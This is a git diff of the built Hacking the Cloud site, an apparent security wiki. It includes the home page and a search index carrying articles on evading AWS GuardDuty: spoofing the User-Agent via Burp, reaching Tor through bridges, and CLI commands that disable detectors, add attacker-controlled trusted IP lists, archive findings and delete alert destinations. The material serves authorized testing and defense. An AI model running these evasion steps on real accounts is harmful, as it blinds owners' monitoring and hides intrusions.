class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#contributing class=md-nav__link> <span class=md-ellipsis> Contributing </span> </a> </li> <li class=md-nav__item> <a href=#disclaimer class=md-nav__link> <span class=md-ellipsis> Disclaimer </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/index.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=home>Home<a class=headerlink href=#home title="Permanent link">&para;</a></h1> <figure> <p><a class=glightbox href=images/branding/hacking-the-cloud-wordmark.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Hacking the Cloud logo" src=images/branding/hacking-the-cloud-wordmark.jpg></a></p> </figure> <p>Hacking the cloud is an encyclopedia of the attacks/tactics/techniques that offensive security professionals can use on their next cloud exploitation adventure. The goal is to share this knowledge with the security community to better defend cloud native technologies.</p> <p>All content on this site is created by volunteers. If you'd like to be one of them, you can contribute your knowledge by submitting a <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/pulls>Pull Request</a>. We are open to content from any major cloud provider and will also accept cloud-related technologies as well (Docker, Terraform, K8s, etc.). Additionally you are encouraged to update/modify/improve existing pages as well.</p> <p>Topics can include offensive techniques, tools, general knowledge related to cloud security, etc. <strong>Defensive knowledge is also welcome!</strong> At the end of the day the primary goal is to make the cloud safer, and defenders are welcome to submit content all the same.</p> <p>Don't worry about submitting content in the wrong format or what section it should be a part of, we can always make improvements later :) When writing content about a technique identified by a researcher, credit the researcher who discovered it and link to their site/talk.</p> <h2 id=contributing>Contributing<a class=headerlink href=#contributing title="Permanent link">&para;</a></h2> <p>If you'd like to contribute to the site, please see our <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/CONTRIBUTING.md>contributing page</a>. Anything helps! An article, a paragraph, or even a fix for a grammar mistake.</p> <p>Please checkout the <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud>GitHub page</a> for more!</p> <h2 id=disclaimer>Disclaimer<a class=headerlink href=#disclaimer title="Permanent link">&para;</a></h2> <p>The information provided by Hacking the Cloud is intended to be used by professionals who are authorized to perform security assessments or by those defending cloud environments. While these techniques can be used to avoid detection, escalate privileges, compromise resources, etc. the intent is to improve security by making the knowledge of these techniques more generally available.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 29, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": ".", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=assets/javascripts/bundle.203fd0bc.min.js></script> <script src=javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/search/search_index.json b/search/search_index.json
index da92a221a..9c301d8c1 100644
--- a/search/search_index.json
+++ b/search/search_index.json
@@ -1 +1 @@
-{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":["stopWordFilter"],"fields":{"title":{"boost":1000.0},"text":{"boost":1.0},"tags":{"boost":1000000.0}}},"docs":[{"location":"","title":"Home","text":"<p>Hacking the cloud is an encyclopedia of the attacks/tactics/techniques that offensive security professionals can use on their next cloud exploitation adventure. The goal is to share this knowledge with the security community to better defend cloud native technologies.</p> <p>All content on this site is created by volunteers. If you'd like to be one of them, you can contribute your knowledge by submitting a Pull Request. We are open to content from any major cloud provider and will also accept cloud-related technologies as well (Docker, Terraform, K8s, etc.). Additionally you are encouraged to update/modify/improve existing pages as well.</p> <p>Topics can include offensive techniques, tools, general knowledge related to cloud security, etc. Defensive knowledge is also welcome! At the end of the day the primary goal is to make the cloud safer, and defenders are welcome to submit content all the same.</p> <p>Don't worry about submitting content in the wrong format or what section it should be a part of, we can always make improvements later :) When writing content about a technique identified by a researcher, credit the researcher who discovered it and link to their site/talk.</p>"},{"location":"#contributing","title":"Contributing","text":"<p>If you'd like to contribute to the site, please see our contributing page. Anything helps! An article, a paragraph, or even a fix for a grammar mistake.</p> <p>Please checkout the GitHub page for more!</p>"},{"location":"#disclaimer","title":"Disclaimer","text":"<p>The information provided by Hacking the Cloud is intended to be used by professionals who are authorized to perform security assessments or by those defending cloud environments. While these techniques can be used to avoid detection, escalate privileges, compromise resources, etc. the intent is to improve security by making the knowledge of these techniques more generally available.</p>"},{"location":"aws/avoiding-detection/guardduty-pentest/","title":"Bypass GuardDuty Pentest Findings for the AWS CLI","text":"<p>Thank You</p> <p>Thank you to @yobroda for notifying me that the previous method in this article was outdated and suggesting a more reliable, long-term solution.</p> <p>As a cloud Penetration Tester or Red Teamer, we need to be aware of what artifacts we leave behind in the logs that we touch. One easy to overlook clue is the User-Agent value passed in AWS API requests. When using the AWS CLI or SDK to interact with AWS services, the User-Agent string is passed in the headers of the HTTP request. This string can be used to identify the tool or library making the request.</p> <p>This can give away the operating system you are using and may raises suspicion from defenders. For example, say you steal credentials from a developer workstation running MacOS and suddenly start making requests from a Windows machine. This suspicious activity could be noticed by automation and an alarm could be raised.</p> <p>This is where AWS GuardDuty comes in. GuardDuty is a threat detection service that continuously monitors for malicious activity and unauthorized behavior to protect your AWS accounts and workloads. GuardDuty takes this idea a step further and has built-in detections for common penetration testing Linux distributions like Kali Linux, ParrotOS, and Pentoo Linux. If you make AWS API requests from one of these distributions, GuardDuty will trigger a PenTest Finding.</p> <p>As you can imagine, this is not ideal. The good news is that the User-Agent string is entirely within our control. While this value is unfortunately something we cannot natively configure with the AWS CLI, we can use external tooling to intercept our requests and modify them. In this article, we will explain how we can modify our User-Agent string when using the AWS CLI to avoid triggering GuardDuty alerts.</p> <p>Note</p> <p>In the following example we will use Burp Suite because it is freely available and commonly used. If you have an alternative suggestion, please open a pull request to add it.</p>"},{"location":"aws/avoiding-detection/guardduty-pentest/#burp-suite-setup-and-usage","title":"Burp Suite Setup and Usage","text":"<p>To begin, download and install Burp Suite Community Edition. With it running, navigate to the Proxy tab and click <code>Proxy settings</code>.</p> <p>Next, scroll to <code>HTTP match and replace rules</code>:</p> <p></p> <p>From here, click <code>Add</code> and enter the following values:</p> <ul> <li>Type: <code>Request header</code></li> <li>Match: <code>^User-Agent.*$</code></li> <li>Regex match: Should be checked</li> <li>Replace: This can be any string of your choosing. Ensure you preprend <code>User-Agent:</code> to the beginning of the string. For a list of potential User-Agent values, you can refer to this list from Pacu.</li> </ul> <p>Click <code>Test</code> to see an example of what your change would look like.</p> <p></p> <p>To finish, click <code>OK</code>. To ensure your new rule is enabled, scroll to the bottom of your match and replace rules.</p> <p>Next, we need to configure our AWS CLI to use Burp Suite as a proxy. This can be done by setting the <code>HTTP_PROXY</code> and <code>HTTPS_PROXY</code> environment variables. For example:</p> <pre><code>export HTTPS_PROXY=http://127.0.0.1:8080\nexport HTTP_PROXY=http://127.0.0.1:8080\n</code></pre> <p>With this setup, all of your AWS CLI requests will be routed to Burp Suite, however you will likely encounter the following error:</p> <pre><code>SSL validation failed for https://sts.us-east-1.amazonaws.com/ [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1129)\n</code></pre> <p>This is because Burp Suite uses a self-signed certificate. There are multiple options to resolve this issue and I will defer to your professional discretion on which to use. You could, for example, add the self-signed certificate to your trusted certificates. Alternatively you could disable SSL verification with the AWS CLI using the <code>--no-verify-ssl</code> flag.</p> <p>Regardless of the method you choose, after making a request to the AWS API you should see the User-Agent string you configured appear in the associated CloudTrail logs.</p> <p></p> <p>With all of this in place, you can now make requests to the AWS API using the CLI without triggering GuardDuty alerts.</p>"},{"location":"aws/avoiding-detection/guardduty-tor-client/","title":"Bypass GuardDuty Tor Client Findings","text":"<p>UnauthorizedAccess:EC2/TorClient is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor Guard or Authority nodes. According to the documentation, \"this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker's true identity\".</p> <p>AWS determines this by comparing connections to the public list of Tor nodes. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.</p> <p>From a technical perspective the Tor Project has largely gotten around this by using Bridges. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.</p> <p>To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is <code>apt install tor obfs4proxy</code> and move them to your target). Obfs4 is a Pluggable Transport which modifies Tor traffic to communicate with a bridge. Navigate to bridges.torproject.org to get a bridge address. </p> <p>From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):</p> <pre><code>UseBridges 1\nBridge obfs4 *ip address*:*port* *fingerprint* cert=*cert string* iat-mode=0\nClientTransportPlugin obfs4 exec /bin/obfs4proxy\n</code></pre> <p>You will now be able to connect to the Tor network with <code>tor -f torrc</code> and you can connect to the Socks5 proxy on port 9050 (by default).</p>"},{"location":"aws/avoiding-detection/modify-guardduty-config/","title":"Modify GuardDuty Configuration","text":"<p>When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness.  The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies. </p> <p>Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in.</p>"},{"location":"aws/avoiding-detection/modify-guardduty-config/#misconfiguring-the-detector","title":"Misconfiguring the Detector","text":"<p>An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness.</p> <ul> <li> <p> Required IAM Permissions</p> <ul> <li>guardduty:ListDetectors</li> <li>guardduty:UpdateDetector</li> </ul> </li> </ul> <p>Configuration changes may include a combination of:</p> <ul> <li>Disabling the detector altogether.  </li> <li>Removing Kubernetes and s3 as data sources, which removes all S3 Protection and Kubernetes alerts.  </li> <li>Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes.</li> </ul> <p>Example CLI commands <pre><code># Disabling the detector\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --no-enable \n\n# Removing s3 as a log source\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --data-sources S3Logs={Enable=false}\n\n# Increase finding update time to 6 hours\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --finding-publishing-frequency SIX_HOURS\n</code></pre></p>"},{"location":"aws/avoiding-detection/modify-guardduty-config/#modifying-trusted-ip-lists","title":"Modifying Trusted IP Lists","text":"<p>An attacker could create or update GuardDuty's Trusted IP list, including their own IP on the list.  Any IPs in a trusted IP list will not have any Cloudtrail or VPC flow log alerts raised against them. </p> <p>DNS findings are exempt from the Trusted IP list.</p> <ul> <li> <p> Required IAM Permissions</p> <ul> <li>guardduty:ListDetectors</li> <li>guardduty:ListIPSets</li> <li>guardduty:CreateIPSet</li> <li>guardduty:UpdateIPSet</li> <li>iam:PutRolePolicy</li> </ul> </li> </ul> <p>Depending on the level of stealth required, the file can be uploaded to an s3 bucket in the target account, or an account controlled by the attacker.</p> <p>Example CLI commands <pre><code>aws guardduty update-ip-set \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --ip-set-id 24adjigdk34290840348exampleiplist \\\n    --location https://malicious-bucket.s3-us-east-1.amazonaws.com/customiplist.csv \\\n    --activate\n</code></pre></p>"},{"location":"aws/avoiding-detection/modify-guardduty-config/#modify-cloudwatch-events-rule","title":"Modify Cloudwatch events rule","text":"<p>GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence.  Modifying the Event pattern or Targets for an event may reduce GuardDuty's ability to alert and trigger auto-remediation of findings, especially where the remediation is triggered in a member account as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account. </p> <ul> <li> <p> Required IAM Permissions</p> <ul> <li>events:ListRules</li> <li>events:ListTargetsByRule</li> <li>events:PutRule</li> <li>events:RemoveTargets</li> </ul> </li> </ul> <p>Note</p> <p>In a delegated or invitational admin GuardDuty architecture, cloudwatch events will still be created in the admin account.</p> <p>Example CLI commands <pre><code># Disable GuardDuty Cloudwatch Event\naws events put-rule --name guardduty-event \\\n--event-pattern \"{\\\"source\\\":[\\\"aws.guardduty\\\"]}\" \\\n--state DISABLED\n\n# Modify Event Pattern\naws events put-rule --name guardduty-event \\\n--event-pattern '{\"source\": [\"aws.somethingthatdoesntexist\"]}'\n\n# Remove Event Targets\naws events remove-targets --name guardduty-event \\\n--ids \"GuardDutyTarget\"\n</code></pre></p>"},{"location":"aws/avoiding-detection/modify-guardduty-config/#supression-rules","title":"Supression Rules","text":"<p>Newly create GuardDuty findings can be automatically archived via Suppression Rules. An adversary could use filters to automatically archive findings they are likely to generate. </p> <ul> <li> <p> Required IAM Permissions</p> <ul> <li>guardduty:CreateFilter</li> </ul> </li> </ul> <p>Example CLI commands</p> <pre><code>aws  guardduty create-filter --action ARCHIVE --detector-id 12abc34d567e8fa901bc2d34e56789f0 --name yourfiltername --finding-criteria file://criteria.json\n</code></pre> <p>Filters can be created using the CreateFilter API.</p>"},{"location":"aws/avoiding-detection/modify-guardduty-config/#delete-publishing-destination","title":"Delete Publishing Destination","text":"<p>An adversary could disable alerting simply by deleting the destination of alerts.</p> <ul> <li> <p> Required IAM Permissions</p> <ul> <li>guardduty:DeletePublishingDestination</li> </ul> </li> </ul> <p>Example CLI commands</p> <pre><code>aws guardduty delete-publishing-destination --detector-id abc123 --destination-id def456\n</code></pre>"},{"location":"aws/avoiding-detection/steal-keys-undetected/","title":"Bypass Credential Exfiltration Detection","text":"<ul> <li> <p> Tools mentioned in this article</p> <p>SneakyEndpoints: Hide from the InstanceCredentialExfiltration GuardDuty finding by using VPC Endpoints </p> </li> </ul> <p>A common technique when exploiting AWS environments is leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the instance metadata service of a target EC2 instance. This can allow you to execute AWS API calls within the victim's account, however, it comes with a risk. If you were to try to use those credentials outside of that host (for example, from your laptop) an alert would be triggered. There is a GuardDuty finding which detects when IAM credentials are being used outside of EC2 called 